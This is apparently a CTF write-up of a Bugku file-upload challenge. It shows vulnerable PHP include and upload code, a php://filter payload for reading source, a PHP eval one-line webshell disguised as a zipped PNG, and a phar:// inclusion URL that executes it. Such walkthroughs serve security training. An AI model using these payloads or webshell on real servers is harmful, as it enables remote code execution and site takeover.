php文件上传+文件包含(phar伪协议)

test.bugku-web-upload—文件上传与文件包含组合

右键查看源码发现

在这里插入图片描述

继续查看源码,提示参数是file,还有一个upload.php

在这里插入图片描述

跟进upload.php,是个上传界面

在这里插入图片描述

那就可以猜测出是 文件上传与文件包含的组合,所以直接先使用伪协议查看源码,使用的是php://filter协议

php://filter/convert.base64-encode/resource=

首先读取include.php的源码

在这里插入图片描述

发现后缀多了一个.php,所以就不加.php了

在这里插入图片描述

base64解码

<html>
Tips: the parameter is file! :) 
<!-- upload.php -->
</html>
<?php
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }
?>

发现,过滤了一些字符和协议,添加了 .php 的后缀

继续读取upload.php 看看其过滤了什么

<form action="" enctype="multipart/form-data" method="post" 
name="upload">file:<input type="file" name="file" /><br> 
<input type="submit" value="upload" /></form>

<?php
if(!empty($_FILES["file"]))
{
    echo $_FILES["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
        echo "upload failed!";
    }
}
?>

简单的审计,添加了白名单,只能上传 gif、jpg、png 格式的,但是没有对内容过滤,所以可以上传图片马,然后再将其包含即可,这里尝试使用了 zip: //,但是失败了,提示没有开启,但是我们还可以使用另一个协议 phar://zip: //协议差不多,都是可以访问zip格式压缩包内容,所以接下来我们就开始准备和上传我们的图片马

首先写一句话木马 shell.php

<?php @eval($_REQUEST['hack']);highlight_file(__FILE__);?>

在这里插入图片描述

然后将 shell.php 打包成 zip 文件

在这里插入图片描述

接着将shell.zip 更改为 shell.png,就是修改后缀名为png

在这里插入图片描述

然后将我们的图片马上传,成功上传

在这里插入图片描述

接着使用 phar:// 伪协议读取,没有报错且成功解析

include.php?file=phar://upload/shell.png/shell

在这里插入图片描述

这里需要注意,后面的 /shell 目录,一定要和图片名称一样(图片名称即刚刚zip文件里的php文件名),不然会报错,因为压缩包中没有 aaa.php 这个文件
在这里插入图片描述

成功包含解析,剩下的就是蚁剑连接或者直接执行命令即可

  • 6
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值